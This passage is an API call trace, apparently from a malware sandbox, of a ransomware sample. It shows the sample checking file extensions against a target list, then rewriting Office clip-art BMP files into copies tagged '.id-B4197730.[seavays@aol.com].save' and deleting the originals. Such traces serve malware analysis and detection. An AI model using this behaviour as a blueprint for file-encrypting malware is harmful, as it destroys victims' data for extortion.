lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0164.995] lstrlenW (lpString=".ppt") returned 4 [0164.995] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0164.995] lstrlenW (lpString=".zip") returned 4 [0164.996] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.996] lstrlenW (lpString=".rar") returned 4 [0164.996] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.996] lstrlenW (lpString=".bz2") returned 4 [0164.996] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.996] lstrlenW (lpString=".7z") returned 3 [0164.996] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.249] lstrlenW (lpString=".dbf") returned 4 [0165.249] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.249] lstrlenW (lpString=".1cd") returned 4 [0165.249] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.249] lstrlenW (lpString=".jpg") returned 4 [0165.249] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.249] lstrlenW (lpString=".doc") returned 4 [0165.249] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.249] lstrlenW (lpString=".docx") returned 5 [0165.250] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0165.250] lstrlenW (lpString=".pdf") returned 4 [0165.250] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString=".xls") returned 4 [0165.250] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString=".xlsx") returned 5 [0165.250] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0165.250] lstrlenW (lpString=".ppt") returned 4 [0165.250] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.250] lstrlenW (lpString=".zip") returned 4 [0165.250] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString=".rar") returned 4 [0165.250] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString=".bz2") returned 4 [0165.250] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString=".7z") returned 3 [0165.250] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.250] lstrlenW (lpString=".dbf") returned 4 [0165.250] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.250] lstrlenW (lpString=".1cd") returned 4 [0165.250] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.250] lstrlenW (lpString=".jpg") returned 4 [0165.250] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.251] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0165.251] lstrlenW (lpString="J0101865.BMP") returned 12 [0165.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.602] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=32184) returned 1 [0166.602] CloseHandle (hObject=0x4b0) returned 1 [0166.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0166.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0166.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.606] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.606] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0166.608] GetLastError () returned 0x0 [0166.608] ReadFile (in: hFile=0x4b0, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0166.610] WriteFile (in: hFile=0x4b4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.612] ReadFile (in: hFile=0x4b0, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.612] WriteFile (in: hFile=0x4b4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.612] SetEndOfFile (hFile=0x4b4) returned 1 [0166.612] CloseHandle (hObject=0x4b4) returned 1 [0166.612] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.612] SetEndOfFile (hFile=0x4b0) returned 1 [0166.618] CloseHandle (hObject=0x4b0) returned 1 [0166.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0166.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0166.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.619] lstrlenW (lpString=".doc") returned 4 [0166.619] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.619] lstrlenW (lpString=".docx") returned 5 [0166.619] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0166.619] lstrlenW (lpString=".pdf") returned 4 [0166.619] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.619] lstrlenW (lpString=".xls") returned 4 [0166.620] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString=".xlsx") returned 5 [0166.620] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0166.620] lstrlenW (lpString=".ppt") returned 4 [0166.620] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.620] lstrlenW (lpString=".zip") returned 4 [0166.620] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString=".rar") returned 4 [0166.620] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString=".bz2") returned 4 [0166.620] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString=".7z") returned 3 [0166.620] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.620] lstrlenW (lpString=".dbf") returned 4 [0166.620] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.620] lstrlenW (lpString=".1cd") returned 4 [0166.620] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.620] lstrlenW (lpString=".jpg") returned 4 [0166.620] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.620] lstrlenW (lpString=".doc") returned 4 [0166.621] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString=".docx") returned 5 [0166.621] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0166.621] lstrlenW (lpString=".pdf") returned 4 [0166.621] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString=".xls") returned 4 [0166.621] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString=".xlsx") returned 5 [0166.621] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0166.621] lstrlenW (lpString=".ppt") returned 4 [0166.621] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.621] lstrlenW (lpString=".zip") returned 4 [0166.621] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString=".rar") returned 4 [0166.621] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString=".bz2") returned 4 [0166.621] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.621] lstrlenW (lpString=".7z") returned 3 [0166.621] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.622] lstrlenW (lpString=".dbf") returned 4 [0166.622] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.622] lstrlenW (lpString=".1cd") returned 4 [0166.622] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0166.622] lstrlenW (lpString=".jpg") returned 4 [0166.622] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.622] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0166.622] lstrlenW (lpString="J0101866.BMP") returned 12 [0166.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.623] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=32184) returned 1 [0166.623] CloseHandle (hObject=0x4b0) returned 1 [0166.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0166.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0166.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.624] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.624] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0166.625] GetLastError () returned 0x0 [0166.625] ReadFile (in: hFile=0x4b0, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0166.629] WriteFile (in: hFile=0x4b4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.631] ReadFile (in: hFile=0x4b0, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.631] WriteFile (in: hFile=0x4b4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.631] SetEndOfFile (hFile=0x4b4) returned 1 [0166.631] CloseHandle (hObject=0x4b4) returned 1 [0166.632] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.632] SetEndOfFile (hFile=0x4b0) returned 1 [0166.636] CloseHandle (hObject=0x4b0) returned 1 [0166.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0166.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0166.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.638] lstrlenW (lpString=".doc") returned 4 [0166.638] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.638] lstrlenW (lpString=".docx") returned 5 [0166.638] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0166.638] lstrlenW (lpString=".pdf") returned 4 [0166.638] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.638] lstrlenW (lpString=".xls") returned 4 [0166.638] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.638] lstrlenW (lpString=".xlsx") returned 5 [0166.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0166.639] lstrlenW (lpString=".ppt") returned 4 [0166.639] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.639] lstrlenW (lpString=".zip") returned 4 [0166.639] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString=".rar") returned 4 [0166.639] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString=".bz2") returned 4 [0166.639] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString=".7z") returned 3 [0166.639] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.639] lstrlenW (lpString=".dbf") returned 4 [0166.639] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.639] lstrlenW (lpString=".1cd") returned 4 [0166.639] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.639] lstrlenW (lpString=".jpg") returned 4 [0166.639] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.639] lstrlenW (lpString=".doc") returned 4 [0166.639] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.639] lstrlenW (lpString=".docx") returned 5 [0166.640] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0166.640] lstrlenW (lpString=".pdf") returned 4 [0166.640] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString=".xls") returned 4 [0166.640] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString=".xlsx") returned 5 [0166.640] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0166.640] lstrlenW (lpString=".ppt") returned 4 [0166.640] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.640] lstrlenW (lpString=".zip") returned 4 [0166.640] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString=".rar") returned 4 [0166.640] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString=".bz2") returned 4 [0166.640] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString=".7z") returned 3 [0166.640] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.640] lstrlenW (lpString=".dbf") returned 4 [0166.640] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.640] lstrlenW (lpString=".1cd") returned 4 [0166.640] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0166.640] lstrlenW (lpString=".jpg") returned 4 [0166.640] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.641] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0166.641] lstrlenW (lpString="J0101867.BMP") returned 12 [0166.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.642] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=32616) returned 1 [0166.642] CloseHandle (hObject=0x4b0) returned 1 [0166.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0166.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0166.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.643] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.643] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0166.644] GetLastError () returned 0x0 [0166.644] ReadFile (in: hFile=0x4b0, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0166.877] WriteFile (in: hFile=0x4b4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0166.880] ReadFile (in: hFile=0x4b0, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.880] WriteFile (in: hFile=0x4b4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.880] SetEndOfFile (hFile=0x4b4) returned 1 [0166.880] CloseHandle (hObject=0x4b4) returned 1 [0166.880] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.880] SetEndOfFile (hFile=0x4b0) returned 1 [0166.885] CloseHandle (hObject=0x4b0) returned 1 [0166.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0167.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.386] lstrlenW (lpString=".doc") returned 4 [0167.386] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0167.386] lstrlenW (lpString=".docx") returned 5 [0167.386] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0167.386] lstrlenW (lpString=".pdf") returned 4 [0167.386] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0167.386] lstrlenW (lpString=".xls") returned 4 [0167.386] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0167.386] lstrlenW (lpString=".xlsx") returned 5 [0167.386] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0167.386] lstrlenW (lpString=".ppt") returned 4 [0167.386] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0167.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.386] lstrlenW (lpString=".zip") returned 4 [0167.387] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0167.387] lstrlenW (lpString=".rar") returned 4 [0167.387] lstrcmpiW (lpString1=".rar", 